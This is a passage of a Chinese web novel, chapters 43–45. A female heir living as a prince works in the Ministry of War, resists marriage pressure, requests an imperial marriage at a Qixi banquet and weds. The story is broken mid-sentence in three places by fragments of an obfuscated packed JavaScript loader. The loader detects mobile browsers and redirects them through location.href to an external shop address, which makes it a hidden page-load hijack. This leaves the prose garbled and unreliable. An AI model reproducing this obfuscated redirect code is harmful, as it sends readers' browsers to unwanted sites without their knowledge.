若陆棣铭只是普通父亲,或许真该急了。 可她不是普通儿子。 这场婚事迟早要来,来的时候也未必只是喜事。 午饭后,众人又各自回去办差。 下午的文书更杂。 有边镇武官因伤求退的,有阵亡军士子弟请求承袭军籍的,也有地方保举乡勇入营的。陆云逸看了一下午,眼睛有些发酸。 散衙时,夕阳照在兵部院墙上,红得很淡。 陆云逸走出衙门,马车已经候着。几个兵部官员与她道别,言辞都很客气。蒋维国还笑着拱手,说哪日休沐若有闲,可请殿下尝尝家中自酿的桂花酒。 陆云逸也笑着应了。 她上了车,放下帘子后,脸上的笑意才慢慢淡去。 兵部第一日,并不惊心动魄。 没有大贪,没有血案,没有朝堂倾轧扑面而来。 有的是规矩,是旧档,是人人心知肚明却绕开的空白。也有同僚饭桌上的笑谈,年长官员试探着递来的婚事,年轻主事不经意间流露出的好奇。 这才是真正的朝廷日常。 不是日日雷霆。 更多时候,是风平浪静地把许多事压在纸下。 皇帝让她来这里,是要她学这个。 学章程如何运转,学人情如何穿插。 陆云逸靠在车壁上,闭了闭眼。 车轮辘辘向前。 外头街市已经热闹起来。卖灯的、挑担的、赶车的、抱孩子的妇人,都从兵部那条肃静的街外慢慢涌进她耳中。 她忽然想,皇帝确实是会教人的。 43.槐荫催帖动兰因 陆云逸在武选司待了下来。 头几日,司里的人对她还算客气,这客气里有小心,也有疏远。常砚见了她总要问一句今日可还习惯,范谦送文书时,也会把册子摆的端端正正,蒋维国倒比旁人自然些,只是说话仍有分寸。 陆云逸没有急着同谁亲近。 每日到衙门,她先看通例,再看履历,有时也跟着常砚旁听司里议事。武选司的活并不惊险,大多是重复。某营缺了一个千户,某卫有武官请退,某处呈来军功册,某人请袭父职,某人的保举文书少了一印,某处的年资前后差了三个月。 这些事放在外人眼里,琐碎得很。 可真正做起来,每一样都不能随便。一个名字填错,一个年份写差,一道补缺推迟,到了底下便会牵动一家人的生计。武官和文官不同,许多人的前程是拿伤、拿命、拿父兄的功劳换来的。纸上的一行字,往往是战场上几年的血。 陆云逸看得慢,问得也不多。 常砚见她不摆宗室架子,渐渐也放心了些。司里午间吃饭时,起初还要避着她说话,过了半月,蒋维国便敢当着她的面嫌膳房的汤淡。范谦也不再一见她就把背挺得笔直,有时翻旧档翻得眼花,还会忍不住揉着眉心抱怨两句。 “这京营旧册,也不知是哪位前辈写的,字比蚂蚁还小。” 蒋维国在旁边笑:“嫌字小,就该让你去看边镇抄来的册子。遇上风沙雨雪,墨一洇,连蚂蚁也没了。” 范谦道:“那还怎么看?” 常砚头也不抬:“靠猜。” 范谦一愣。 蒋维清拍桌笑起来。 陆云逸也跟着笑了一下。 武选司里的人这才发现,小王爷并不是不能开玩笑。 日子久了,司里有些小事也会叫她一道帮着看。 常砚是个看着圆滑的人,实际办事并不糊涂。他只是比范谦更知道,什么地方能松,什么地方不能松。蒋维国则更像一本活旧例,谁家祖上做过什么官,哪一镇的缺最难补,哪一年改过哪条军功核验,他多半都能说出几句。 陆云逸在他们身边学了不少。 这些东西在宫中学不到。 皇帝教她看大局,教她看朝堂上人心如何流动,教她一份奏折背后可能藏着几层意思。可衙门里的日子更碎。许多官员并不是日日想着害人,也不是时时想着为国尽忠。他们会偷懒,会怕担责,会在能帮人的地方帮一把,也会在不该多嘴的时候装作没看见。 人活在制度里,便多半是这样,不全好,也不全坏。 武选司的人已经渐渐习惯了陆云逸每日坐在靠窗那张案后。若她哪日因宫中召见没来,范谦还会顺口说一句:“殿下今日不在,这几份文书先搁着吧。”说完才想起自己的随意,有些尴尬地看向常砚。 常砚只当没听见。 蒋维国倒会打趣:“范主事如今会偷懒了。殿下不在,你倒不看了?” 这样平淡的日子一过,便过了几个月。 天气从寒转暖,又从暖转热。兵部院中的槐树开了花,花落时铺了满地,扫洒的小吏一边扫一边抱怨,说早上才扫过,午后又落了一层。武选司偏房里换了竹帘,午后光线照进来,落在成堆的册子上,连尘埃都看得清楚。 陆云逸在衙门里渐渐有了自己的位置。 不掌印,不独断,却也不再只是个来看热闹的宗室子弟。常砚遇到拿不准的旧例,会让她一道翻一翻;范谦有时誊完文书,也会拿给她看一眼;蒋维国仍旧爱说闲话,只是每次说到婚事,便要看她一眼。 这件事并没有随着时间过去。 反而因她在京中站稳,越来越被人提起。 四月以后,明亲王府收到的帖子多了起来。 有宗室女眷邀萍儿去吃茶的,有旧日相熟人家请王府看戏的,也有说家中女儿年岁已至,愿来王府请安。 萍儿初时还能装作看不懂。 后来帖子堆得多了,便装不下去了。 那日陆云逸散衙回府,换下官袍,刚坐下喝了一口茶,便见萍儿拿着几封帖子进来。 她神色不算严肃,却也不轻松。 陆云逸看了她一眼。 “又有人请你吃茶?” 萍儿把帖子放到案上。 “不是请我吃茶,是请你相看人家。” 陆云逸手里的茶盏停了停。 萍儿道:“这几家都不是随便递来的。一个是宗室旁支,一个是兵部蒋员外郎家的侄女,还有一家,是你祖母那边从前相熟的人家。” 陆云逸没有立刻说话。 萍儿坐到她对面。 “你年纪已经不小了。” “我知道。” “我已经把能推的都推了。说你才刚回京不久,王爷又没发话。可这种话挡的了一时,挡不了太久。” 陆云逸把茶盏放下。 “父王知道吗?” “这些帖子还没递到王爷面前。”萍儿道,“但也是早晚的事。” 陆云逸笑了笑:“那便先不让他烦。” 萍儿看着她。 “云逸,这不是烦不烦的事。” 陆云逸垂下眼。 屋里有一阵安静。 外头蝉声已经起来了。初夏的蝉还不算吵,只断断续续地叫。听雪斋的窗开着半扇,风吹进来,带着一点树叶和池水的气味。 萍儿把声音放低。 “寻常男子这个年纪,早该成家。你是明亲王府世子,又在陛下面前长大,迟迟不娶,外头的人不可能不想。” 陆云逸道:“我明白。” 陆云逸沉默片刻,道:“那干妈觉得该怎么办?” 萍儿皱着眉。 “若能不娶,自然最好。” 萍儿看她这样平静,心里反而更不安。 “你是不是早有打算?” 陆云逸没有否认。 “或许吧。” “是谁?” 陆云逸没有立刻答,只是喝了一口茶:“干妈不必担心,能挡多久是多久。” 萍儿还想说什么,最后只叹了一声:“你别乱来。” 陆云逸没有辩解。 她看着案上那几封帖子。 封面都写得端正,措辞也体面。每一封背后,都是一个女孩的一生。有人或许真盼着嫁进王府,有人或许只是父母觉得这是好前程,也有人连自己的名字会被递到哪里都未必知道。 她伸手,把帖子一封封合拢。 “这些先放着吧。” 萍儿看她。 “放多久?” “不会太久。” 萍儿心头一跳。 陆云逸却没有再说。 她转头看向窗外,像是在听蝉声,又像是在想着很远的地方。 日子继续往前走。 六月里,天气热起来。兵部衙门午后闷得很,竹帘挡不住暑气,范谦常常写着写着就满额头汗。蒋维国家中侄女的婚事定了,席间请武选司众人吃了一顿酒。席上他喝得高兴,又提了几句陆云逸的婚事,被陆云逸笑着岔过去。 陆云逸仍旧每日照常去衙门。 文书看得多了,许多流程也熟了。 常砚私下里同蒋维国说,小王爷做事比想象里沉得住气。 蒋维国道:“沉得住气是好事。只是这样的年纪还不成亲,沉得太住了些。” 常砚笑他:“你这人,离了婚事便不能说话了?” 蒋维国道:“我这是替王府着想。” 七月初七前,宫里传出旨意,七夕设宴,召宗室与近支皇亲入宫。 这类宴会宫中常有。说是乞巧赏灯,实则也是让宗室、后妃、近亲女眷见一见面。宫里规矩多,可七夕这日总比平常松些。后妃可在御园设彩线、瓜果、香案,女眷们也能在花厅里说些闲话。男眷那边另设席,到了献巧与观灯时,才会有几处相见的场面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562742|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆云逸接到入宫帖子时,正从兵部回来。 萍儿看完宫里送来的名帖,脸色有一点复杂。 “七夕宫宴,宗室子弟多半都会去。” 陆云逸嗯了一声。 萍儿把名帖放下。 “这种宴上,最容易有人提婚事。” 陆云逸正在解袖扣,闻言笑了笑。 “干妈这几个月,三句话不离婚事。” 萍儿瞪了她一眼。 陆云逸没有接话。 她换了常服,坐到窗边。窗外天热,傍晚的风也带着暑气。院中摆了几盆茉莉,香味被热气蒸起来,甜得有些浓。 萍儿站在她身后,替她重新束好发。 “进宫之后,少喝酒。”萍儿道,“若有人问你婚事,能避便避。” 陆云逸从镜中看她。 “避不过呢?” 萍儿手一顿。 “那便拿王爷挡一挡。说婚姻大事,自有父命。” 陆云逸笑了。 “父王听见,大约要头疼。” “那也比你自己乱答强。” 陆云逸低头整理袖口。 “我不会乱答。” 萍儿看着镜中那张脸。 病后的苍白已经退了许多,眉眼仍清瘦,却比刚回府时稳得多。她坐在那里,仍是明亲王府的小王爷,宗室贵胄,皇帝看重,满京城都知道的未婚世子。 萍儿心里忽然有些发凉。 她知道陆云逸不是没有准备。 她只是还不知道,这个孩子到底准备把谁拉进来。 七夕那日,宫中从午后便忙起来。 御园里搭了彩棚,瓜果、针线、香案一一摆好。宫女们穿梭在廊下,手里端着花灯和果盘。内侍在各处引路,怕宗亲女眷走错席位。日头落下前,宫墙上已经挂起灯,一盏一盏,等夜色下来便会点亮。 陆云逸是傍晚入宫的,她乘王府马车到宫门,下车时已有内侍等候。 “世子殿下,陛下吩咐,您入宫后先往含章园去。宗室诸位王爷、公子都在那里。” 陆云逸点头。 她今日穿的是一身月白织银暗纹常服,腰束玉带,头上玉冠简单。七夕宴不比年宴庄重,但入宫终归不能随便。她身形清瘦,走在宫道上,被两边宫灯一照,越显得眉目干净,像一枝在暑气里仍带着寒意的竹。 宫道上已经有不少人。 宗室子弟三三两两地往含章园去,见了她,都停下打招呼。有人称一声“小王爷”,有人叫“世子”,语气亲热疏远各不相同。陆云逸一一回礼,礼数不缺,话却不多。 进了含章园,里面已经摆开了席。 水榭旁挂着彩灯,池中荷叶还未全败,晚风从水面吹来,总算散去一点暑热。远处女眷所在的花厅隔着一重纱帘和花木,只能隐约听见笑语。男眷这边多是宗室和近支皇亲,坐得比年宴随意些。 陆云逸刚进园,便有人看了过来。 她多年不在京中,如今回来后虽入了兵部办差,可在宫宴上正式露面,还是头一回。许多人看她的眼神里都有打量。 不久,内侍唱道:“陛下驾到。” 园中众人起身行礼。 陆棣昤从廊下缓步而来,身边跟着高怀忠,后头还有几位妃嫔,近日盛宠恬贵人也在其中。她穿着浅杏色宫装,发髻不算高,簪着一支金累丝海棠钗。灯未点全,天色仍有余亮,她站在后妃中貌美得显眼。 陆云逸只看了一眼,便收回目光。 皇帝落座后,众人也都坐下。 七夕宴便这样开始了。 一开始只是寻常寒暄。宗室长辈说些节令话,年轻子弟应和几句。宫女奉上瓜果、酒水和几样应节点心。远处女眷花厅里,有人开始穿针乞巧,笑声隔着水传来,被风吹散了些。 陆云逸坐在席中,听着周围人的话,偶尔答一句。 灯要等夜色真正压下来,才会一盏一盏点起。 44.银汉牵盟落诏纶 灯是在戌初点起来的。 先是水边几盏莲花灯,火苗藏在薄薄的彩纸里,顺着池水慢慢漂开。接着是廊下的长灯,树上的小灯,彩棚四角的宫灯,一盏接一盏亮起来。含章园里原本还有些暑气,被水面夜风一吹,才渐渐凉了些。 陆云逸坐在席中,手边是一盏青梅酒,酒味很淡,入口带一点酸,她只饮了半盏。 皇帝坐在临水正位,几位皇子按长幼分坐两侧,公主和后妃在花厅那边,中间隔着花木和纱帘。明亲王陆棣铭也在,位置离御座近些,坐下之后便少说话,手边酒盏添了两回,入口却少。 陆云逸的位置在皇子席下首。 她是亲王世子,按理该随近支皇亲坐;可她又自幼出入宫学,同几个皇子一起读过书。内侍引她过去时,十三皇子抬手招了招。 “云逸,坐这边。几年没见,坐那么远干什么?” 陆云逸笑着行礼:“十三殿下安。” 十三皇子比她年长两岁,生得宽肩圆脸,一笑便显得亲和。他幼时书读得平平,马球却打得好,宫学里先生一讲经义,他便在桌下用手指画马球阵。如今成了家,脸上添了些肉,脾气倒还是旧日模样。 他把一碟巧果推到陆云逸面前。 “尝尝。今年膳房做得还行。十五妹方才嫌太甜,我倒觉得刚好。” 陆云逸夹了一枚。 巧果炸成梅花形,外头沾着细糖,咬下去有芝麻香。她吃了半枚,点了点头 “确实好。” 十三皇子笑道:“你在外头走了几年,嘴也该刁了。我知道南边有些地方样样精细。宫里这点巧果还能入你的口,膳房今晚该记一功。” 旁边十一皇子听见,也转过头来。 “他这几年只怕吃过的苦比好东西多。”十一皇子说道,“前几日我去兵部,听人说你在武选司看旧册,一看就是半日。那些灰扑扑的卷宗,我看十三弟坐一刻便要喊头疼。” 十三皇子啧了一声:“十一哥你又说我,别叫父皇听见了。” 陆云逸道:“那些旧册,慢慢看也是有意思的。” “你这话一出,我便放心了。”十三皇子举杯,“这世上总有人愿意看那些东西。你看旧册,我打马球,各守本分。” 十三皇子看着陆云逸又说:“说到今日七夕,我母妃今日来时还念叨你,说你许久不在京城露面,她老人家见了年轻人总爱问婚事,你可当心。” 十一皇子也笑着说:“满城长辈都一样,明亲王府也确实该热闹热闹了。” 陆云逸抬眼:“你们今日商量好了整我么?” “天地良心。”十三皇子露出严肃表情,“这事如今还用商量?你看看今晚这园子里,隔着帘子,多少双眼睛往这边瞧。” 陆云逸顺着他的话抬头。 花厅那边纱帘半垂,灯只点了一半,影影绰绰有人影晃动。隔着花木和水光,什么也看分明,只能看见团扇、衣袖和珠钗偶尔闪一下。 她很快收回目光。 “看我做什么?” 十一皇子道:“你自己心里清楚。” 十三皇子笑得更直白:“明亲王府世子,陛下跟前长大的,还在兵部办差。你这亲事空着,旁人心里自然要动一动。” “婚姻大事,急也急得有章程。”陆云逸慢悠悠道。 “你在兵部待久了吧?结婚还要说章程?”十三皇子摇着头吐槽。 几人笑了一阵。 笑声顺着水榭传开,花厅那边也传来一阵女子笑语。七夕宴比寻常宫宴松快些。各处灯还只点了一半,暮色压着荷池,水面浮着薄薄一层红。宫女们端着瓜果、莲子汤、冰酪从廊下过去,袖口带起香气。池边设了几张小案,案上放着彩线、银针、清水碗,等天色再暗些,女眷们要过来投针乞巧。 宁嘉公主从花厅那头过来,身后跟着两个侍女。 “云逸哥哥。”宁嘉公主站在廊下,笑吟吟地叫她。 陆云逸起身行礼:“公主。” 宁嘉公主摆手:“哥哥,你坐着吧。我母妃那边叫我送一盘果子来,说你刚回京,席上见了也算喜气。” 侍女把一盘冰过的葡萄放下。 十三皇子笑道:“母妃偏心啊。我们坐在这里半天,也没见她赏葡萄。” 宁嘉公主瞥他一眼:“十三哥方才已经吃了两碗冰酪。母妃叫我盯着你,少吃凉的。” 十三皇子立刻端起酒盏,装作没听见。 宁嘉公主看向陆云逸,目光在她脸上停了一会儿。 “京里这些日子都在说你。”她说道,“说你回京后先在府里养了一阵,如今又去了兵部。” “闲话传的快。” “也有正经话。”宁嘉公主眨了眨眼,“花厅里几位夫人一直打听你。问你差事忙,问你在外头见识多,还问明亲王府何时办喜事。” 这话刚落,十三皇子便笑出声:“你看?我方才说什么来着。云逸啊,今天七夕,你就从了吧。” 十一皇子看了陆云逸一眼,语气平缓:“云逸年纪也到了,只是明亲王府家事,自有明亲王决定。” 陆云逸端起酒杯抿了一口。 “我父王就在那边坐着。诸位若有好人家,可以直接同我父王说。” 十三皇子朝陆棣铭那边望了一眼,立刻缩回脖子。 “算了吧,你爹坐在那里,我隔这么远都害怕,还是跟你说话好。” 宁嘉公主掩着嘴笑。 陆云逸也笑了。她抬眼看向陆棣铭,陆棣铭似乎察觉到她的目光,侧首看过来。父女二人隔着半池灯影对上眼。陆棣铭神情平常,只把手边一盏茶往她这边略略举了举,像是叫她少饮酒。陆云逸会意,放下酒盏。 这时,御座前的高怀忠上前半步,俯身听皇帝吩咐。片刻后,他沿着水边小径走来。 “世子殿下,陛下叫您过去说话。” 陆云逸起身。 十三皇子收起笑,替她让开路。宁嘉公主也退到一旁。陆云逸整了整衣袖,随高怀忠往御座前去。 皇帝站起身,沿着临水长廊往旁边的小亭走,恬贵人捧着一只七巧盘随在后头。 亭子三面临水,竹帘卷起半幅,晚风从池上来,带着荷叶气。外头宴声还在,到了这里,只剩模糊的人语和水声。 皇帝坐下,指了指对面的石凳。 “坐吧。今日叫你来,原是想问问武选司的差事。刚才见你同他们说笑,倒像回了几分从前的样子。” 陆云逸坐了半边。 “臣只是在武选司跟着看些旧册,谈不上差事。” 恬贵人把七巧盘放在案上,替皇帝斟了小半盏酒。 皇帝看了她一眼,道:“说起来,恬贵人与你母族还沾着一层亲。你母亲朱珍珍,年幼便在京中,与亲族来往少。恬贵人是你母亲表妹家的孙女。隔得远些,但也是朱家血脉。” 恬贵人笑了:“陛下这样说,妾倒占便宜了。小王爷是宗室贵胄,妾一个宫中小小贵人,隔着宫规礼数,哪里敢乱攀亲。” 皇帝看她一眼:“朕说你沾亲,你便沾亲。” 恬贵人低头笑道:“那妾便借陛下的话,同小王爷认个亲。 陆云逸道:“贵人言重。母亲旧族凋零,能在宫中见到同宗亲眷,是臣的福分。” 皇帝看了她一眼,说道:“恬贵人今日在花厅听了半日闲话,刚才同朕说,越听越觉得有趣。” 恬贵人笑道:“妾久居宫中,花厅里那些夫人小姐说起家里短长,听着倒新鲜。尤其说到小王爷,人人都有话。” 陆云逸道:“臣在席上已经领教过了。” 恬贵人笑意渐深,“今天是七夕这样好的日子,妾方才在花厅里听几位夫人说,殿下回京后,京中好些人家都惦记着呢。” 皇帝端起酒盏,随口问:“惦记什么?” 恬贵人眨了眨眼:“陛下明知。七夕佳节,女儿家穿针求巧,长辈们看着灯,也总想替小辈牵一牵红线。殿下这般年纪,身边还空着,谁见了都要问一句。” 皇帝把酒盏拿在手里,语气带笑:“七夕这样的日子,绕来绕去,总归绕到婚事上。只是云逸刚回京,婚事不急。” 恬贵人也顺着笑道:“陛下疼殿下,妾多嘴了。” 陆云逸却在这时站起身来,先向皇帝行了一礼。 “陛下。” 皇帝看着她。 “臣有一事,想趁今日求陛下成全。” 皇帝眉梢微动:“什么事?” 陆云逸低着头,声音清晰。 “臣在广陵游历时,曾遇见一位女子。她姓越,单名一个心字。臣与她相识于困厄之时,得她数次相助。后来离开广陵,心中常记着她。今日贵人提起婚事,臣想求陛下赐婚。” 皇帝把酒盏放回案上。 “广陵人?” “是。” “家中做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“行了。再说下去,倒像你们两个早商量好了似的。” 陆云逸神色如常:“臣今夜之前,还在想该怎样向陛下开口。贵人一句话,替臣省了许多周折。” 皇帝站起身。 “回席吧,小十三他们该等着问你了。赐婚的事,朕先压一压,等礼部查册之后再宣。” 陆云逸道:“臣遵旨。” 三人从小亭出来。 宴席那边正到投针乞巧的时候。女眷们围在清水碗前,看银针落水后的影子。宁嘉公主先投,一针浮在水面,影子在碗底拉成细长一线。花厅里立刻有人起哄,说公主今年巧运好。 十三皇子看见陆云逸回来,朝她招手。 “陛下同你说什么?去了这么久。” 陆云逸坐回席间,拿起茶盏,轻挑眉毛:“没什么,问了点武选司的事。” 十三皇子脸上一垮:“七夕宴也问这个,父皇真是勤政。” 陆云逸补充到:“还要,我向皇帝求旨赐婚了。” 十三皇子满脸惊奇:“你这人,刚才还推脱说婚事要有章程,转头就去求旨,你章程真大啊。” 十一皇子到:“求旨赐婚?跟谁家姑娘?” 陆云逸:“不是什么名门闺秀,离京时遇见的一个姑娘。” “好啊你,藏这么深。”十三皇子喝了口酒,“我也想离京去玩玩。” 十一皇子盯着看了陆云逸半天,最后摇头笑道:“我待会得跟我母妃说小世子在七夕宴上自己牵了红线。” 陆云逸端起茶盏,轻轻碰了碰他的酒盏。 “劳你替我说得好听些。” “成,喜事当前,总要说好听的。” 灯越点越多。 水面上浮着一层碎金,风一过,金光便向四面散开。宫人们把新制的花灯推入池中,灯顺着水流慢慢往前。有人在远处笑,有人在花厅里猜针影,有人在御座前说着吉祥话。隔着重重光影,陆云逸抬眼看向御座。 皇帝正同旁边宗室长辈说话,神情从容。恬贵人垂首坐着,手中把玩那方绣帕。她似乎察觉到陆云逸的目光,微微抬头,隔着池边几案和来往宫女,向她笑了一下,像一根线搭在灯火与水声之间。 陆云逸低头看着杯中茶水。 茶面映着一盏灯,灯芯在水里晃了一下,很快又稳住。 45.红罗拜罢酒香深 赐婚的旨意下来后,明亲王府忙了一阵。 说是忙,其实倒也不乱,王府多年清净,但各种规矩早已刻进骨头里。哪一日采纳,哪一日请期,哪一日宋雁,哪一日铺房,礼房的人把册子翻出来一项一项照着办。 王府上下也渐渐有了喜气。门房那边换了灯笼,廊下添了红绸,厨房从半月前便开始试菜。喜饼一盘一盘送进来,萍儿亲自尝了两块,说太甜,又叫人减些糖。府里年轻丫鬟们比主子还兴奋,私下里议论新世子妃是广陵来的,身世普通,不知性格如何。 成婚前三日,萍儿进了听雪斋。 陆云逸正坐在案前,看礼房送来的婚仪单子。喜服搭在屏风上,红意鄙人。窗外日头正斜,光落在那身衣裳上,金线浮出来,像一层细碎的火。 萍儿站了好一会儿,才开口:“你真想好了?” 陆云逸抬头:“干妈问越心的事?” “我问你,也问她。”萍儿走到案边坐下,“她知道你多少?” 陆云逸把单子合上:“该知道的都知道。” “她真愿意?” “当然,明亲王府世子妃怎么也算是个好名头。” 屋里一阵安静。 外头有丫鬟抱着新帐幔走过,绸布擦着竹篮,沙沙响了一声。 萍儿眼中有疑色:“你之前怎么一直没提过她?” 陆云逸垂下眼:“之前在病重,记不清事,如今想起来了。” 萍儿盯着陆云逸:“你越来越会糊弄人了。” 陆云逸抬头,乖乖叫了一声:“干妈。” 萍儿被她这一声叫得心软,气也散了些。 “少拿这套哄我。”她叹了一口气,“我只是放心不下你。” “有一事我想拜托干妈。” 陆云逸看向屏风上的喜服,“父王这几日在忙,若成亲那天他不在,我想请干妈坐那高堂。” 萍儿手指收紧:“我坐上去,合规矩吗?” “王府的规矩,父王点头便合。我从小是干妈带大的,那一拜,原本就该给你。” 萍儿的眼眶红了,她转过脸,缓了片刻。“我去问王爷。” “父王已经答应了,前几日我去找他提过,他说你受得起。” 萍儿坐在那里,许久才低下头。 成亲当日,天还未亮,明亲王府便热闹起来。 门前石阶洗得干净,红毡从正门铺进正堂。礼房的人来回走,手里拿着册子,嘴里一项一项核对。厨房那边蒸汽腾起来,鸡鸭鱼肉下锅,灶火烧得旺。小厮们把喜饼抬到前院,婆子们把茶盏擦了又擦,连角门处的铜环都被擦得发亮。 陆云逸换上喜服时,萍儿亲自替她束发。 铜镜里映出一张年轻的脸。红衣衬得眉眼更清晰。她这些年在外头晒黑过,也瘦过,如今回到京城养了一阵,脸色总算好了些。 萍儿把发冠扶正。 “今日你是新郎官,笑一笑。” 陆云逸听话地弯了弯嘴角。 萍儿看了,摇头:“像要去武选司一样。” 陆云逸又笑了一下,这回真切些。 “这样呢?” “这还差些意思。”萍儿拿手指替她理好鬓边碎发。 迎亲的队伍从王府出发时,街上已经围了人。 明亲王府世子成婚,皇帝赐婚,京里的人自然爱看。锣鼓一响,孩子们追着撒出来的喜钱跑,卖糖人的老汉也停了手艺,踮脚往红轿那头瞧。 越心临时安置在城南一处宅子里。宅子不大,门上贴着喜字,院里摆了几盆石榴花。礼部安排的女眷在屋里陪着,两个嬷嬷守在门边。 陆云逸下马时,礼官唱了吉词。 门里传来一阵笑声。 越心盖着盖头出来,红绸一头递到陆云逸手中。她步子快了点,旁边嬷嬷赶忙扶住她,小声提醒:“世子妃,慢些。” 盖头底下传出越心压着笑的声音:“我记着呢,嬷嬷。” 陆云逸听见了,露出真心的笑。 越心很快站到她身边。红盖头遮住脸,只露出一点下巴和握着绸带的手。那只手并拢着,手指却在红绸上敲了一下。 陆云逸也用指尖回敲了一下。 走吧。 回府的路上,锣鼓声一路跟着。轿帘垂着,风吹起一点红边。陆云逸骑在马上,偶尔听见轿中玉佩碰到木壁的声音,清脆一下,又被鼓点盖过去。 进王府时,宾客已经坐满前院。 朝中官员来了,宫中也有赏赐。兵部同僚站在廊下,常砚远远拱手,范谦脸上喜气藏也藏着,蒋维国拍了他一下,叫他收敛些。王府的管事们一个个站得齐整,眼睛都往礼官身上放。 陆云逸牵着越心跨过火盆。 正堂上,高堂主位空出一半,另一侧坐着萍儿。 萍儿今日穿了深枣色衣裳,领口压着暗纹。她坐得端正,手放在膝上,神色看着还算平和,指尖却把衣料攥出一道褶。众人看见她坐在那里,心里各有计较。宫里来的内侍站在旁边,王府礼房也一派坦然,满堂宾客便都收住眼神。 礼官唱道:“一拜天地——” 陆云逸和越心转身,向堂外天光拜下去。 “二拜高堂——” 陆云逸回身,拜向萍儿。 越心跟着拜下去。红盖头垂落,金线在灯下晃出一点光。 萍儿望着面前这一对新人,眼眶热起来。她想起陆云逸小时候,发丝细软,抱在怀里小小一团。如今这个孩子穿着新郎的红衣,牵着另一个姑娘站在堂前。 萍儿忍着泪,受了这一拜。 “夫妻对拜——” 陆云逸和越心相对而立。 隔着盖头,陆云逸看见越心的肩膀微微一动。她大约又想笑。 陆云逸忽然安心了一些。 两人拜下去。 礼成。 越心被送入新房,陆云逸留在前头待客。 喜宴一开,酒便一盏接一盏送上来。 远处萍儿看着陆云逸,眉头越皱越紧。 喜宴上的规矩一层接一层,旁人举杯时都说着吉祥话,陆云逸这个新郎官便只能笑着应下。 没多时,前院忽然安静了一瞬。 高怀忠从廊下进来,身后跟着两个小内侍。一个捧着一柄玉如意,一个捧着一匹合欢纹宫缎。满堂宾客见他进来,纷纷收住话头。 陆云逸放下酒盏,起身相迎。 高怀忠笑着拱手:“世子大喜,咱家奉陛下口谕来添个彩头。” 陆云逸正了正衣襟,躬身听旨。 高怀忠声音清亮,带着宫里出来的人惯有的圆熟。 “陛下说,七夕牵成的缘分,今日总算礼成。世子年少离京,回京后入兵部当差,如今又成家立业,朕心甚慰。往后既为人夫,也要知持家之重,敬新妇,安内宅,莫辜负今日满堂喜气。” 他说完,又笑着补了一句:“陛下还说,今日是喜日,虚礼从简。世子饮一盏喜酒,便算谢恩了。” 堂中众人都笑起来。 陆云逸接过旁边人递来的酒,向宫城方向遥遥一敬。 “臣谢陛下恩典。” 她仰头饮下。 酒入喉时,辣意从舌根一路烧到胸口。高怀忠看着她,脸上笑意更深。 “世子好酒量。陛下今日朝务缠身,心里还惦记着这桩喜事,特意叫咱家来瞧一眼。如今见府里办得热闹,咱家回宫也好交差。” 陆云逸道:“劳高公公跑这一趟。” “喜事跑腿,沾福气。”高怀忠把拂尘往臂弯里一搭,“世子快回席吧,今日宾客都等着同你说吉祥话呢。” 陆云逸又谢了一回。 高怀忠走后,席上气氛更热。陛下亲赐贺语,满堂人便更有了谈笑的由头。酒盏一只接一只递上来,陆云逸眼前的人影渐渐叠在一处,红绸、烛光、笑脸,都像被酒气泡软了。 又过了一阵,王府长随从外头匆匆回来,先去萍儿身边低声说了几句。 萍儿听完,目光顿了顿。 长随又走到陆云逸席边,俯身道:“世子,王爷还在宫中议事。王爷叫小的带话,府中礼数照旧办,宾客由管事照看,请世子安心。” 陆云逸端着酒盏,眼中酒色已经浮起来。 她听完,只点了点头。 “知道了。” 长随退下。 萍儿看着她,心里发酸。 陆云逸又饮了一盏。 常砚过来敬酒,说了几句喜话。范谦跟在后头,祝词背到一半卡住,被蒋维国接了下去。众人笑成一片。陆云逸也笑,笑完又喝。 到了夜深,前院宾客渐渐散去。 萍儿亲自过来扶她。 “够了,回房。” 陆云逸撑着桌沿站起,笑道:“我还能走。” 陆云逸跟着她往后院去。 夜色已经深了,前院的笑声渐远。廊下红灯还亮,火光照在青砖上,一片一片的红。她走到新房门口时,喜娘和丫鬟们还守着。 屋里红烛烧下一截,窗上双喜贴得端正。 越心已经睡熟。 她靠在里间床上,盖头摘了,凤冠也卸了,发髻松开一半。等人的时辰太长,喜服又重,她大概撑到后来实在困了,便歪在枕上睡着。脸上的妆还在,唇上胭脂淡了些,整个人陷在一片红色里,像被热闹暂时裹住的孩子。 陆云逸站在帘外看了一会儿。 喜娘要上前唤人,被陆云逸抬手拦住。 “让她睡。” 萍儿看她酒气重,便吩咐人端醒酒汤。 陆云逸坐在外间椅上,把喜服外袍解下。她动作拖沓,萍儿急了,亲手帮她把衣带拆开。 “我去外头塌睡。”陆云逸用手撑着头说。 “今日新婚夜,外头人看到可不好。” “门关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571345|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,谁敢看里头?”陆云逸喝了半碗醒酒汤,苦得皱眉,“越心累了一日,让她好好睡吧。” 萍儿看着她,终究点头。 “我让春杏守夜。你睡外间榻上,屋里多添个炭盆。” 陆云逸道:“天热,添炭做什么?” 萍儿瞪她:“醒酒汤都端到嘴边了,还挑这个?” 陆云逸便闭嘴了。 夜深后,新房安静下来。 